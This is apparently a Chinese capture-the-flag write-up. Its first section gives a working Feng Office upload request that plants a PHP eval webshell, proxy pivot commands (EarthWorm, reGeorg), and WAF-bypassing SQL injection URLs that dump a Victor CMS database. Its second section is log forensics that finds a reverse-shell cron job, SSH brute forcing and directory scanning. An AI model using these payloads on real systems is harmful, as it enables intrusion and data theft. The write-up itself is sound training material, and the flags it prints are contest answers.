

企业环境赛

1.访问172.20.12.11，看到域名：baidu1.com。修改hosts文件：

```
172.20.12.11 www.baidu1.com
```

访问<http://www.baidu1.com>

发现是个fengoffice

<https://www.exploit-db.com/exploits/46471>

2.fengoffice 上传shell:

```
POST /ck_upload_handler.php HTTP/1.1
User-Agent: PostmanRuntime/7.26.5
Accept: */*
Cache-Control: no-cache
Postman-Token: 0098d9fb-dc48-4c75-a771-5e4405b187b8
Host: www.baidu1.com
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=-----
-431218865794850306310332
Content-Length: 247

-----431218865794850306310332
Content-Disposition: form-data; name="upload"; filename="7cmd.php"
Content-Type: application/x-httpd-php

<?php eval($_POST[a]);  ?>
-----431218865794850306310332--
```

上传后访问: <http://www.baidu1.com/tmp/15552476987cmd.php>

获取webshell

flag.php: flag6{8b98620b7846bd3e88f01db9984bd494}

upload目录下: flag5{39c8e9953fe8ea40ff1c59876e0e2f28}

2.建立socks5代理:

```
./ew_for_linux64 -s ssocksd -l 1157
```

内网:

```
http://192.168.1.191/
```

是个Victors cms，存在sql注入漏洞: https://reportcybercrime.com/victor-cms-1-0-cat_id-sql-injection/

有安全狗waf，绕过: <https://xz.aliyun.com/t/7572>

查数据库:

```
http://192.168.1.191/category.php?cat_id=1/#!/union*//!*/*/--
+1%0A%0ASELECT%201,2,1,concat(/#!/schema_name*/),5,6,7,8,9,10%20/#!/from*/%20informa
tion_schema.schemata--+*/%23
```

获取flag数据库名

查表:

```
http://192.168.1.191/category.php?cat_id=1/#!/union*//!*/*/--
+1%0A%0ASELECT%201,2,1,concat(/#!/table_name*/),5,6,7,8,9,10%20/#!/from*/%20informa
tion_schema.tables%20where%20table_schema=0x666C6167--+*/%23
```

获取ffff表名

查列:

```
http://192.168.1.191/category.php?cat_id=1/#!/union*//!*/*/--
+1%0A%0ASELECT%201,2,1,concat(/#!/column_name*/),5,6,7,8,9,10%20/#!/from*/%20informa
tion_schema.columns%20where%20table_schema=0x666C6167%20and%20table_name=0x666666
666--+*/%23
```

获取name列名

查数据:

```
http://192.168.1.191/category.php?cat_id=1/#!/union*//!*/*/--
+1%0A%0ASELECT%201,2,1,concat(/#!/name*/),5,6,7,8,9,10%20/#!/from*/%20flag.ffff--+
*/%23
```

获取flag: flag8{ab11646b848f5b2f2f841a0140bc9640}

3.稳定一点的代理: <https://github.com/sensepost/reGeorg>

```
python reGeorgSocksProxy.py -p 9999 -u
http://www.baidu1.com/tmp/tunnel.nosocket.php
```

数据分析赛

关卡1: 黑客攻击此服务器所使用的三个IP分别是什么

首先查看/var/log/cron文件发现定时任务, 反弹shell到一个外网IP: 23.83.247.111

然后在/var/log/secure文件里发现, 192.168.12.145在爆破ssh

接下来在/etc/httpd/logs/access_log-20201030文件里发现, 192.168.31.58在对网站进行目录扫描

所以得到答案为 192.168.12.145 192.168.31.58 23.83.247.111

关卡2: 跳过

关卡3: 要知道黑客进行目录扫描的次数

我们通过查看 /etc/httpd/access_log-20201030 的文件可以看到有许多 HEAD 请求, 看规律可以发现应该是黑客进行目录扫描发的请求了。

```
cat /etc/httpd/logs/access_log-20201030 > test.txt #为了方便先将请求内容放到test.txt文件  
grep HEAD test.txt | wc #然后配合grep和wc计算HEAD请求的次数，从而知道问题的答案
```

得到次数是263386